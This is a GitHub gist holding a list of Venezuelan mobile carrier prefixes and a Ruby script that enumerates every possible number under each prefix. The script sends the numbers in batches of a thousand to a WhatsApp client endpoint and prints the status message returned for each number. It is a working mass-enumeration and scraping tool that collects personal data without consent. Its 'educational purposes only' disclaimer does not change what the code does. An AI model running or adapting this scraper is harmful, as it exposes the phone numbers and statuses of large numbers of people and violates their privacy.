-
-
Save betacar/1988036 to your computer and use it in GitHub Desktop.
Whatsapp status crawler
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
414##GSM/CDMA#Asignado#Movistar | |
424##GSM#Asignado#Movistar | |
412##GSM#Asignado#Digitel | |
416##GSM/CDMA#Asignado#Movilnet | |
426##GSM#Asignado#Movilnet |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# | |
# Whatsapp status crawler for venezuelan mobile phone numbers. | |
# | |
# Based on a SBD post by Alejandro Ramos: | |
# http://www.securitybydefault.com/2012/03/casi-10-millones-de-moviles-espanoles.html | |
# | |
# Forked from Edulan's gist | |
# https://gist.github.com/1964012 | |
# | |
# This Gist has educational porpuses only. | |
# I'm not resposible for what you can do with it. | |
# | |
# Usage: ruby wastcrawl.rb > statuses.txt | |
# | |
require 'net/http' | |
require 'plist' | |
URL = "https://sro.whatsapp.net/client/iphone/iq.php" | |
PARAMS = [['cd', 1], ['cc', 58], ['me', 4000000000]] | |
File.open("moviles.txt", 'r') do |file| | |
file.each_line do |line| | |
prefix = line.split('#')[0] | |
(0..9999).to_a.each do |n| | |
numbers = (0..999).to_a.map do |m| | |
group_n = "%03d" % n | |
group_m = "%03d" % m | |
['u[]', "+#{PARAMS[1][1]}#{prefix}#{group_n}#{group_m}"] | |
end | |
uri = URI(URL) | |
uri.query = URI.encode_www_form(PARAMS + numbers) | |
Net::HTTP.start(uri.host, uri.port, | |
:use_ssl => true) do |http| | |
request = Net::HTTP::Post.new uri.request_uri | |
request.body = '' | |
response = http.request request | |
xml = response.body.force_encoding('UTF-8') | |
Plist::parse_xml(xml).each do |r| | |
p "#{r['P']}: #{r['S']}" | |
end | |
end | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment